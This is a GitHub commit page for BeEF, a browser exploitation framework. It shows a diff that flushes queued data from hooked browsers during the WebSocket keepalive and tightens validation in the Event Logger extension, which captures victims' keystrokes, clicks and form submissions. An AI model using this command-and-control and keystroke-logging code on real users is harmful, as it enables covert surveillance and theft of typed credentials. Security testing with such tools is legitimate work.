Skip to content

Commit

Permalink
WebSockets: flush beef.net.queue during keepalive (#2806)
Browse files Browse the repository at this point in the history
  • Loading branch information
bcoles committed Apr 3, 2023
1 parent 0faf517 commit eb5959a
Show file tree
Hide file tree
Showing 6 changed files with 30 additions and 30 deletions.
2 changes: 1 addition & 1 deletion core/main/client/updater.js
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@
/**
* Object in charge of getting new commands from the BeEF framework and execute them.
* The XHR-polling channel is managed here. If WebSockets are enabled,
* websocket.ls is used instead.
* websocket.js is used instead.
* @namespace beef.updater
*/
beef.updater = {
Expand Down
10 changes: 9 additions & 1 deletion core/main/client/websocket.js
Original file line number Diff line number Diff line change
Expand Up @@ -84,9 +84,17 @@ beef.websocket = {
* todo: there is probably a more efficient way to do this. Double-check WebSocket API.
*/
alive: function (){
try {
if (beef.logger.running) {
beef.logger.queue();
}
} catch(err){}

beef.net.flush();

beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
setTimeout("beef.websocket.alive()", parseInt(beef.websocket.ws_poll_timeout));
}
};

beef.regCmp('beef.websocket');
beef.regCmp('beef.websocket');
2 changes: 1 addition & 1 deletion core/main/network_stack/websocket/websocket.rb
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ class Websocket
MOUNTS = BeEF::Core::Server.instance.mounts

def initialize
return unless @@config.get('beef.websocket.enable')
return unless @@config.get('beef.http.websocket.enable')

secure = @@config.get('beef.http.websocket.secure')

Expand Down
16 changes: 3 additions & 13 deletions extensions/events/api.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,22 +6,12 @@
module BeEF
module Extension
module Events
module PostLoad
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::PostLoad, BeEF::API::Extensions, 'post_load')

def self.post_load
print_error 'Event Logger extension is not compatible with WebSockets command and control channel' if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')
end
end

# Mounts the handler for processing browser events.
#
# @param beef_server [BeEF::Core::Server] HTTP server instance
module RegisterHttpHandler
# Register API calls
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')

#
# Mounts the http handlers for the events extension. We use that to retrieve stuff
# like keystroke, mouse clicks and form submission.
#
def self.mount_handler(beef_server)
beef_server.mount('/event', BeEF::Extension::Events::Handler)
end
Expand Down
6 changes: 2 additions & 4 deletions extensions/events/extension.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,10 +9,8 @@ module Events
extend BeEF::API::Extension

@short_name = 'events_logger'

@full_name = 'events logger'

@description = 'registers mouse clicks, keystrokes, form submissions'
@full_name = 'Event Logger'
@description = 'Logs browser events, such as mouse clicks, keystrokes, and form submissions.'
end
end
end
Expand Down
24 changes: 14 additions & 10 deletions extensions/events/handler.rb
Original file line number Diff line number Diff line change
Expand Up @@ -10,32 +10,34 @@ module Events
# The http handler that manages the Events.
#
class Handler
Z = BeEF::Core::Models::HookedBrowser
HB = BeEF::Core::Models::HookedBrowser

def initialize(data)
@data = data
setup
end

#
# Sets up event logging
#
def setup
# validates the hook token
beef_hook = @data['beefhook'] || nil
if beef_hook.nil?
print_error '[EVENTS] beef_hook is null'

unless BeEF::Filters.is_valid_hook_session_id?(beef_hook)
print_error('[Event Logger] Invalid hooked browser session')
return
end

# validates that a hooked browser with the beef_hook token exists in the db
zombie = Z.where(session: beef_hook).first || nil
zombie = HB.where(session: beef_hook).first || nil
if zombie.nil?
print_error '[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database'
print_error('[Event Logger] Invalid beef hook id: the hooked browser cannot be found in the database')
return
end

events = @data['results']
events = @data['results'] || nil

unless events.is_a?(Array)
print_error("[Event Logger] Received event data of type #{events.class}; expected Array")
return
end

# push events to logger
logger = BeEF::Core::Logger.instance
Expand All @@ -58,6 +60,8 @@ def setup
end
end

private

def event_log_string(event)
return unless event.is_a?(Hash)

Expand Down

0 comments on commit eb5959a

Please sign in to comment.